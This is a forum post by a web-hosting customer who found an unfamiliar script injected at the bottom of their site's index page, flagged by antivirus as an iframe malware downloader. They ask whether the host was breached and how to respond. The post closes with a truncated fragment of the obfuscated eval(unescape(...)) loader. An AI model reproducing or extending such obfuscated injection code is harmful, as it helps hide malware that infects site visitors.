Has Ipower Been Hacked?

I've had a Ipower hosting account since 2002 and recently even renewed both my service and domain registration.

I recently noticed that a small/odd javascript statement had been added to the bottom of my page and I didnt add it. I noticed this after visiting my page and when my Antivirus alerted me to ' HTML/Dldr.Iframe.DP [virus]' apparently some type of iframe redirect via this script to download malware.

After googling around about "HTML/Dldr.Iframe.DP [virus]" I found another person who has an ipower account mentioning the exact same problem on their site.

Does anybody know anything abou this?

Has anybody heard anything about ipower sites being recently hacked or something?

How and why has this happened? is my site just special and am I lucky? or has this recently also happened to other ipower accounts to?

I've contacted ipower but expect some generic response of no real help.

Most importantly, should I go through my few pages which comprise in fact my quite small site and check to see if they also have been hacked with malicious javascript code? Should I upload new pages? Change my password?

All of my content looks ok and in place, no pages defaced except apprently this small insertion of malicious javascript cod at the bottom of my main index page.

I have pasted just the basic fragment of the code below -

<script>eval(unescape("%77%69%6e%64%6f .....